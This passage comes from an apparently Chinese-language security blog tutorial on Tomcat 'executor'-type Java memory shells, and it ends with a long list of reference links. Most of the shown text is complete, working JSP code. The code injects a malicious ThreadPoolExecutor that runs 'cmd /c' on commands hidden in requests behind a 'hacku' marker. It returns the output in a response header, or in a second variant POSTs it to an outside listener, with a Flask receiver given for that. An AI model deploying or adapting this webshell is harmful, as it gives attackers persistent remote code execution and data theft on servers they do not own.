} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
public void getRequest(Runnable command) {
try {
ByteBuffer byteBuffer = ByteBuffer.allocate(16384);
byteBuffer.mark();
SocketWrapperBase socketWrapperBase = (SocketWrapperBase) getField(command,"socketWrapper");
socketWrapperBase.read(false,byteBuffer);
ByteBuffer readBuffer = (ByteBuffer) getField(getField(socketWrapperBase,"socketBufferHandler"),"readBuffer");
readBuffer.limit(byteBuffer.position());
readBuffer.mark();
byteBuffer.limit(byteBuffer.position()).reset();
readBuffer.put(byteBuffer);
readBuffer.reset();
String a = new String(readBuffer.array(), StandardCharsets.UTF_8);
if (a.contains("hacku")) {
String b = a.substring(a.indexOf("hacku") + "hacku".length() + 1, a.indexOf("\r", a.indexOf("hacku"))).trim();
if (b.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec("cmd /c " + b);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
StringBuilder s = new StringBuilder();
String tmp;
while ((tmp = stdInput.readLine()) != null) {
s.append(tmp);
}
if (!s.toString().isEmpty()) {
byte[] res = s.toString().getBytes(StandardCharsets.UTF_8);
getResponse(res);
}
} catch (IOException ignored) {}
}
}
} catch (Exception ignored) {}
}
public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "endpoint"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
String result = URLEncoder.encode(new String(res, StandardCharsets.UTF_8), StandardCharsets.UTF_8.toString());
response.addHeader("Result", result);
}
} catch (Exception ignored) {
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
}
@Override
public void execute(Runnable command) {
getRequest(command);
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>
<%
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>
关于上面的内存马的分析,请参考下面这篇文章:
效果:
需要注意的是,原文中的代码没有考虑到命令输出结果中含有中文等字符的情况,所以需要url
编码,这一点我在上面的代码中已改进。
当然,如果目标条件运行,你也可以利用yakit
直接外带出来,jsp
代码如下:
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.net.URLEncoder" %>
<%@ page import="java.util.Arrays" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public Object getField(Object object, String fieldName) {
Field declaredField;
Class<?> clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException ignored) {}
clazz = clazz.getSuperclass();
}
return null;
}
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception ignored) {}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
return jioEndPoint;
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
public void getRequest(Runnable command) {
try {
ByteBuffer byteBuffer = ByteBuffer.allocate(16384);
byteBuffer.mark();
SocketWrapperBase socketWrapperBase = (SocketWrapperBase) getField(command, "socketWrapper");
socketWrapperBase.read(false, byteBuffer);
ByteBuffer readBuffer = (ByteBuffer) getField(getField(socketWrapperBase, "socketBufferHandler"), "readBuffer");
readBuffer.limit(byteBuffer.position());
readBuffer.mark();
byteBuffer.limit(byteBuffer.position()).reset();
readBuffer.put(byteBuffer);
readBuffer.reset();
String a = new String(readBuffer.array(), StandardCharsets.UTF_8);
if (a.contains("hacku")) {
String b = a.substring(a.indexOf("hacku") + "hacku".length() + 1, a.indexOf("\r", a.indexOf("hacku"))).trim();
if (b.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec("cmd /c " + b);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
StringBuilder s = new StringBuilder();
String tmp;
while ((tmp = stdInput.readLine()) != null) {
s.append(tmp);
}
if (!s.toString().isEmpty()) {
byte[] res = s.toString().getBytes(StandardCharsets.UTF_8);
getResponse(res);
}
} catch (IOException ignored) {
}
}
}
} catch (Exception ignored) {}
}
public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "endpoint"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
if(sendPostRequest("http://127.0.0.1:8085", res)){
response.addHeader("Result", "success");
} else {
response.addHeader("Result", "failed");
}
}
} catch (Exception ignored) {
continue;
}
}
}
}
}
} catch (Exception ignored) {}
}
private boolean sendPostRequest(String urlString, byte[] data) {
try {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "application/octet-stream");
connection.setRequestProperty("Content-Length", String.valueOf(data.length));
try (OutputStream outputStream = connection.getOutputStream()) {
outputStream.write(data);
outputStream.flush();
int responseCode = connection.getResponseCode();
return responseCode == HttpURLConnection.HTTP_OK;
} catch (Exception ignored){
return false;
}
} catch (IOException ignored) {
return false;
}
}
@Override
public void execute(Runnable command) {
getRequest(command);
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>
<%
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>
先开启监听:
然后发送两次数据包,第一次是为了访问888.jsp
,第二次是为了执行命令:
可以看到数据已经传输过来了:
当然,用yakit
自带的这个是有缺陷的,就是不能持续接受,因为不能返回自定义的状态码,因此我们可以python
自己写一个:
from flask import Flask, request
app = Flask(__name__)
@app.route('/postendpoint', methods=['POST'])
def handle_post_request():
if request.method == 'POST':
if request.data:
print("Received data:", request.data.decode())
return '', 200
else:
return 'No data received', 400
if __name__ == '__main__':
app.run(debug=True)
然后修改jsp
代码中的url
:
最后效果如下:
六、致谢
我在学习Java内存马的过程中阅读参考引用了以下文章,每篇文章都或多或少地给予了我帮助与启发,于是在此一并列出,以表我诚挚的谢意:
https://zhuanlan.zhihu.com/p/634697114
https://blog.csdn.net/shelter1234567/article/details/133435490
https://xz.aliyun.com/t/12494
https://xz.aliyun.com/t/7348
https://xz.aliyun.com/t/7388
https://longlone.top/安全/java/java安全/内存马/Tomcat-Servlet型/
https://chenlvtang.top/2022/06/22/Tomcat之Filter内存马/
https://drun1baby.top/2022/08/22/Java内存马系列-03-Tomcat-之-Filter-型内存马/
https://www.jb51.net/article/167204.htm
https://f4de-bak.github.io/pages/10060c/
https://tyaoo.github.io/2021/12/06/Tomcat内存马/
https://github.com/bitterzzZZ/MemoryShellLearn/tree/main
https://mp.weixin.qq.com/s/BrbkTiCuX4lNEir3y24lew
https://yzddmr6.com/posts/tomcat-context/
https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw
https://gv7.me/articles/2020/kill-java-web-filter-memshell/
https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g
https://xz.aliyun.com/t/9914
https://goodapple.top/archives/1355
https://su18.org/post/memory-shell/
https://nosec.org/home/detail/5049.html
https://su18.org/post/memory-shell/#控制器-拦截器-管道
https://su18.org/post/memory-shell-2/#延伸线程型内存马
https://javasec.org/
https://www.cnblogs.com/javammc/p/15612780.html
https://landgrey.me/blog/12/
https://landgrey.me/blog/19/
https://www.cnblogs.com/zpchcbd/p/15545773.html
https://xz.aliyun.com/t/11039
https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/inject-interceptor-hide-webshell/inject-interceptor-hide-webshell.md
https://www.cnblogs.com/bitterz/p/14859766.html
https://www.javasec.org/javaweb/MemoryShell/
https://www.yongsheng.site/2022/06/18/内存马(二)/
https://segmentfault.com/a/1190000040939157
https://developer.aliyun.com/article/925400
https://su18.org/post/memory-shell/
https://forum.butian.net/share/2593
https://xz.aliyun.com/t/12952
https://www.0kai0.cn/?p=321
https://xz.aliyun.com/t/11331
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
https://cloud.tencent.com/developer/article/1888001
https://blog.csdn.net/qq_41048524/article/details/131534948
https://blog.csdn.net/weixin_45505313/article/details/103257933
https://xz.aliyun.com/t/10372
https://www.anquanke.com/post/id/224698
https://forum.butian.net/share/2436
http://124.223.185.138/index.php/archives/28.html
https://longlone.top/安全/java/java安全/内存马/Tomcat-Valve型/
https://su18.org/post/memory-shell/#tomcat-valve-内存马
https://www.freebuf.com/articles/web/344321.html
https://nosec.org/home/detail/5077.html
https://github.com/veo/wsMemShell
https://veo.pub/2022/memshell/
https://tttang.com/archive/1673/
https://www.viewofthai.link/2022/07/20/value型内存马/
https://jiwo.org/ken/detail.php?id=3147
https://paoka1.top/2023/04/24/Tomcat-Agent-型内存马/
https://www.anquanke.com/post/id/225870
https://xz.aliyun.com/t/11988
https://www.cnblogs.com/piaomiaohongchen/p/14992056.html
https://blog.csdn.net/text2204/article/details/129307931
https://xz.aliyun.com/t/13024
https://www.cnblogs.com/coldridgeValley/p/5816414.html
http://wjlshare.com/archives/1541
https://cloud.tencent.com/developer/article/2278400
https://www.freebuf.com/vuls/345119.html
https://tttang.com/archive/1709/
https://xz.aliyun.com/t/11593
https://xz.aliyun.com/t/11613
https://p4d0rn.gitbook.io/java/memory-shell/tomcat-middlewares/executor
https://p4d0rn.gitbook.io/java/memory-shell/tomcat-middlewares/upgrade
https://github.com/Gh0stF/trojan-eye/tree/master
https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
https://xz.aliyun.com/t/12949
https://paoka1.top/2023/04/21/Tomcat-WebSocket-型内存马/
https://mp.weixin.qq.com/s/cU2s8D2BcJHTc7IuXO-1UQ